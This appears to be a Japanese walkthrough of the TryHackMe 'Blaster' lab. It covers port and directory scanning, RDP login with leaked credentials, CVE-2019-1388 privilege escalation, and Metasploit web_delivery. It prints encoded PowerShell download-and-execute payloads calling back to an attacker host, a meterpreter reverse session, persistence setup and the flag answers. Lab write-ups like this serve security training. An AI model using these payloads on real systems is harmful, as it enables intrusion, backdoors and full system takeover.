【TryHackMe】Blaster：Walkthrough

# 概要

TryHackMe「Blaster」のWalkthroughです。

https://tryhackme.com/r/room/blaster

# Task2

## **Q1**.*How many ports are open on our target system?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.143.192 -oN nmap_result
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2025-01-22T13:07:57+00:00
|_ssl-date: 2025-01-22T13:08:01+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2025-01-21T13:00:38
|_Not valid after:  2025-07-23T13:00:38
```

ポートの稼働状況が分かりました。

**A**.**2**

## **Q2**.*what is the title of the page we discover when browsing to it?*

`80`番ポートにアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e96f74a9-7bf7-eea1-5401-223cdefcef1b.png)

**A**.**IIS Windows Server**

## **Q3**.*What hidden directory do we discover?*

**Hint**.*This directory can be found on the wordlist 'directory-list-2.3-small.txt' which is located in /usr/share/wordlists/dirbuster on a default kali installation*

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.143.192/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[08:11:32] 301 -  150B  - /retro  ->  http://10.10.143.192/retro/
```

**A**.**/retro**

## **Q4**.*what potential username do we discover?*

`/retro`へアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f1b9de30-cd03-1e0e-972a-10d69c3b805c.png)

**A**.**wade**

## **Q5**.*What possible password do we discover?*

**Hint**.*Check user comments on the blog*

`Ready Player One`というポストのリプライで発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3a825525-f3d4-6bb4-6141-fd7656ff8546.png)

**A**.**parzival**

## **Q6**.*What are it's contents?*

**Hint**.*I recommend using Remmina for this. You can install this with the command 'apt install remmina'.*

得られた情報でRDPに接続します。

```
$ xfreerdp /u:wade /p:'parzival' /v:10.10.143.192
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/049596db-d8e1-8989-74c0-b31de563b54a.png)

Desktopにある`user.txt`からフラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1c11c3aa-2e36-08a5-2ba3-483d8ea57163.png)

**A**.**THM{HACK_PLAYER_ONE}**

# Task3

## **Q1**.*What CVE was it?*

**Hint**.*CVE-2019-1388*

ヒントから`CVE-2019-1388`だと分かりました。

https://nvd.nist.gov/vuln/detail/cve-2019-1388

**A**.**CVE-2019-1388**

## **Q2**.*What is the name of this executable?*

**Hint**.*Setting the trash aside doesn't clean it up, you have to take it out as well.*

デスクトップにある`hhupd`が怪しいです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9da9c598-74f0-8b96-0a4c-b3fd5dbec524.png)

**A**.**hhupd**

## **Q4**.*What is the output of running this?*

下記リポジトリを参考に権限昇格をします。

https://github.com/nobodyatall648/CVE-2019-1388

デスクトップの`hhupd`を実行するとUACの表示が出るので`Show more details`をクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b631db67-2921-5678-265f-343b16aa0303.png)

表示された`Show information about the publisher's certificate`をクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/01b2f148-df84-25aa-f0bb-d8bcacb4da01.png)

証明書の表示が出るので`Issued by`のリンクをクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee32e47e-9be1-d1f1-2d5b-6aa3fb8bd234.png)

するとブラウザが開きます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/17a56df6-2ad5-26c5-344e-9ee0fdb40450.png)

`Save as`で保存先を選択する画面に移行します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0552bbe9-1907-c7ef-e0ed-81e36f56ba9e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d7661611-1946-e25e-75b7-56dcd03287b7.png)

上の検索バーにcmd.exeのフルパスを入力し、実行すると管理者権限でコマンドプロンプトが起動します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/65eb74c8-49a2-0cce-e744-5a88bc383cd9.png)

`whoami`でユーザーを確認します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7ec9f6c2-f5d4-f965-90a7-e7039b3cb699.png)

**A**.**nt authority\system**

## **Q5**.*What are the contents?*

`C:\Users\Administrator\Desktop\root.txt`からフラグを入手できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/93ab4f23-d416-a043-5b84-a4893d2ac932.png)

**A**.**THM{COIN_OPERATED_EXPLOITATION}**

# Task4

## **Q2**.*Which target number is PSH?*

**Hint**.*show targets*

Metasploitを起動し、`exploit/multi/script/web_delivery`を設定します。

```
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must b
                                       e an address on the local machine or 0.0.0.0 to listen on all
                                        addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generat
                                       ed)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python
```

`show targets`でターゲットの一覧を表示できます。

```
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Python
    1   PHP
    2   PSH
    3   Regsvr32
    4   pubprn
    5   SyncAppvPublishingServer
    6   PSH (Binary)
    7   Linux
    8   Mac OS X
```

**A**.**2**

## **Q6**.*What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots?*

**Hint**.*Check out this article: https\://www.offensive-security.com/metasploit-unleashed/meterpreter-service/*

`exploit/multi/script/web_delivery`のオプションを設定し、`windows/meterpreter/reverse_http`を設定します。

```
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set lhost 10.6.55.144
lhost => 10.6.55.144
msf6 exploit(multi/script/web_delivery) > set SRVPORT 1234
SRVPORT => 1234
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
```

実行するとPowerShellのペイロードを出力出来ました。

```
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started HTTP reverse handler on http://10.6.55.144:8080
[*] Using URL: http://10.6.55.144:1234/rePDDv1mRwFZS
msf6 exploit(multi/script/web_delivery) > [*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB3AGIAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAdwBiAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAdwBiAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANgAuADUANQAuADEANAA0ADoAMQAyADMANAAvAHIAZQBQAEQARAB2ADEAbQBSAHcARgBaAFMALwAxAEQAMwBzAHYAYgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANgAuADUANQAuADEANAA0ADoAMQAyADMANAAvAHIAZQBQAEQARAB2ADEAbQBSAHcARgBaAFMAJwApACkAOwA=
```

PowerShellのペイロードを先ほど起動した管理者のコマンドプロンプトで実行すると、セッションを張れました。

```
msf6 exploit(multi/script/web_delivery) > 
[*] 10.10.238.249    web_delivery - Delivering AMSI Bypass (1381 bytes)
[*] 10.10.238.249    web_delivery - Delivering Payload (3839 bytes)
[!] http://10.6.55.144:1234 handling request from 10.10.238.249; (UUID: ia3ah4uo) Without a database connected that payload UUID tracking will not work!
[*] http://10.6.55.144:1234 handling request from 10.10.238.249; (UUID: ia3ah4uo) Staging x86 payload (177244 bytes) ...
[!] http://10.6.55.144:1234 handling request from 10.10.238.249; (UUID: ia3ah4uo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.6.55.144:1234 -> 10.10.238.249:49746) at 2025-01-22 09:14:47 -0500

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ RETROWEB  10.6.55.144:1234 -> 10.10.238.2
                                                                     49:49746 (10.10.238.249)
```

meterpreterで接続できたのが確認できます。

```
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

`run persistence -X`で自動的に起動するよう設定ができます。

```
msf6 exploit(multi/script/web_delivery) > run persistence -X
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started HTTP reverse handler on http://10.6.55.144:1234
[*] Using URL: http://10.6.55.144:8080/7TqzY2DOx
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABjAG8AbQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABjAG8AbQAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGMAbwBtAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4ANgAuADUANQAuADEANAA0ADoAOAAwADgAMAAvADcAVABxAHoAWQAyAEQATwB4AC8ANgBwAHAAMABYAE4AZgBRAE4AZQB2AGwAdQBQACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgA2AC4ANQA1AC4AMQA0ADQAOgA4ADAAOAAwAC8ANwBUAHEAegBZADIARABPAHgAJwApACkAOwA=
```

**A**.**run persistence -X**